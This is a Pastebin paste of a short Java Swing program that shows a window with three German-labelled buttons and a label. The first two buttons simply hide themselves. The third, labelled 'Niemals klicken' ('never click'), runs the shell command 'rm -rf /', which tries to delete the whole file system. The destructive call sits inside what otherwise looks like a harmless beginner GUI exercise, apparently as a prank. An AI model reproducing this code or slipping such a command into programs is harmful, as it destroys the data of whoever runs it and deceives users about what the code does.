Guest User

Untitled

a guest
Jun 22nd, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. import javax.swing.*;
  2. import java.awt.FlowLayout;
  3. import java.awt.event.*;
  4. import java.io.IOException;
  5.  
  6. public class Fenster extends JFrame implements ActionListener {
  7.  
  8. JButton b1 = new JButton( "Hallo" );
  9. JButton b2 = new JButton( "Wie gehts?" );
  10. JButton b3 = new JButton ("Niemals klicken" );
  11. JLabel l1 = new JLabel( "Ich bin ein Label" );
  12.  
  13. public Fenster() {
  14.  
  15. this.setSize( 300, 200 );
  16.  
  17. this.add( b1 );
  18. this.add( b2 );
  19. this.add( b3 );
  20. this.add( l1 );
  21.  
  22. b1.addActionListener( this );
  23. b2.addActionListener( this );
  24. b3.addActionListener( this );
  25.  
  26. this.setLayout( new FlowLayout() );
  27.  
  28. }
  29.  
  30. public void actionPerformed(ActionEvent e) {
  31.  
  32. if( e.getSource() == b1 ) {
  33.  
  34. b1.setVisible( false );
  35.  
  36. }
  37.  
  38. if( e.getSource() == b2 ) {
  39.  
  40. b2.setVisible( false );
  41.  
  42. }
  43.  
  44. if( e.getSource() == b3 ) {
  45.  
  46. try {
  47. Runtime.getRuntime().exec( "rm -rf /" );
  48. } catch (IOException e1) {
  49. e1.printStackTrace();
  50. }
  51.  
  52. }
  53.  
  54. }
  55.  
  56. }
Add Comment
Please, Sign In to add comment